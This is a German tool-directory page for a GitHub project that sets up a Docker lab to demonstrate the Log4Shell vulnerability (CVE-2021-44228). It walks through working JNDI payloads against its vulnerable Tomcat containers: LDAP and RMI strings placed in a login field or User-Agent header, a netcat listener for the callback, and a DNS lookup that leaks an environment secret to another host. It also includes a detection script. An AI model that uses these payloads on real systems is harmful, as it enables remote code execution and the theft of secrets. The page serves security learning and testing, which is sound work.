Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4j-poc — Eine Docker-basierte LDAP RCE Exploit-Demo für CVE-2021-44228 Log4Shell | Kitploit
Tools/GitHubGitHub/cyberxml/log4j-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubcyberxml/log4j-poc

log4j-poc

Eine Docker-basierte LDAP RCE Exploit-Demo für CVE-2021-44228 Log4Shell

Repository anzeigen
7233vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

log4j-poc

Ein LDAP RCE Exploit für CVE-2021-44228 Log4Shell

Beschreibung

Der Demo-Tomcat-8-Server auf Port 8080 hat eine angreifbare App (log4shell) deployed und der Server ist auch über User-Agent-Angriffe angreifbar.

Die Remote-Exploit-App in dieser Demo basiert auf der unter https://github.com/kozmer/log4j-shell-poc gefundenen.

Dieser Demo-Tomcat-Server (Tomcat 8.5.3, Java 1.8.0u51) wurde für die Verwendung von Log4J2 zum Logging umkonfiguriert – eine nicht standardmäßige Konfiguration.

Ein neuerer Bitnami-Server ist jetzt auf Port 8888 verfügbar. Er ist ebenfalls für Log4J2-Logging konfiguriert und läuft mit Tomcat 9.0.55 und OpenJDK 11.0.13.

Der RMI-Exploit gegen den Tomcat 9 / Java 11 Server wird hier beschrieben: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3. Januar 2019) von Michael Stepankin

Das Erkennungsskript prüft auf User-Agent-Schwachstellen und stammt von hier: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

Voraussetzungen

Dieser Code erfordert Docker und Docker Compose

Installation

root@kitploit:~
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
#   POC_ADDR is the address of the cve-poc container
#   LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build

Web-App-Angriffs-Demo ausführen

  1. Richten Sie Ihren Docker-Listener im ersten Terminal ein
    1. nc -lv 10.10.10.31 9001
  2. Starten Sie die Docker-Container in einem zweiten Terminal
    1. docker-compose up
  3. Navigieren Sie zur Web-App auf Port 8080
    1. Navigieren Sie zu http://10.10.10.31:8080/log4shell
      1. Geben Sie den Benutzernamen ein: admin
      2. Geben Sie das Passwort ein: password
      3. Klicken Sie auf den 'Login'-Button
      4. Sehen Sie den Willkommensbildschirm
    2. Kehren Sie zum Login unter http://10.10.10.31:8080/log4shell zurück
      1. Geben Sie den Benutzernamen ${jndi:ldap://172.16.238.11:1389/a} ein
      2. Klicken Sie auf den 'Login'-Button
      3. Überprüfen Sie die Verbindung auf Ihrem nc-Listener

User-Agent-Angriffs-Demo ausführen

  1. Richten Sie Ihren Docker-Listener im ersten Terminal ein
    1. nc -lv 10.10.10.31 9001
  2. Starten Sie die Docker-Container in einem zweiten Terminal
    1. docker-compose up
  3. Führen Sie in einem dritten Terminal Folgendes aus. Die zweite IP ist der Docker-Host.
    1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

DNS-Exfil-Demo auf aktueller Java 11 Version ausführen

  1. Starten Sie die Docker-Container in einem Terminal
    1. docker-compose up
  2. Führen Sie in einem zweiten Terminal Folgendes aus. Die IP ist die IP-Adresse des Docker-Hosts.
    1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
  3. Der angreifbare Webserver wird versuchen, eine TXT-Abfrage an der angegebenen IP durchzuführen. Siehe log4j-dns_exfil.pcap

RMI RCE Demo auf aktueller Java 11 Version ausführen

Ich habe Probleme mit dem Befehlszeilenargument für das Ping-Ziel. Sie müssen es daher selbst kompilieren.

Kompilieren

  1. Starten Sie die Docker-Container in einem Terminal
    1. docker-compose up
  2. Melden Sie sich in einem anderen Terminal beim cve-poc an
    1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
  3. Beenden Sie die laufende RMIServerPOC-Instanz
  4. Wechseln Sie in das rmi-poc-Verzeichnis
    1. cd /home/user/rmi-poc
  5. Bearbeiten Sie RMIServerPOC.java, um 10.10.10.31 in Ihr Ping-Ziel zu ändern
  6. Kompilieren Sie neu
    1. javac -cp catalina.jar:. RMIServerPOC.java
  7. Starten Sie den Server
    1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

RMI RCE Demo ausführen

  1. Starten Sie die Docker-Container in einem Terminal
    1. docker-compose up
  2. Führen Sie in einem zweiten Terminal Folgendes aus. Die IP ist die IP-Adresse des Docker-Hosts.
    1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
  3. Der angreifbare Webserver wird eine serialisierte schädliche Klasse vom RMI-Server für eine Klasse herunterladen, die bereits in der Tomcat-Umgebung vorhanden ist.
  4. Dies wird die im Kompilierungsabschnitt definierte IP-Adresse anpingen.

UA-Schwachstelle erkennen

  1. cd scripts
  2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
  3. Sie müssen den Prozess beenden, ich bin mir noch nicht sicher, warum dies hängt.
Tool herunterladen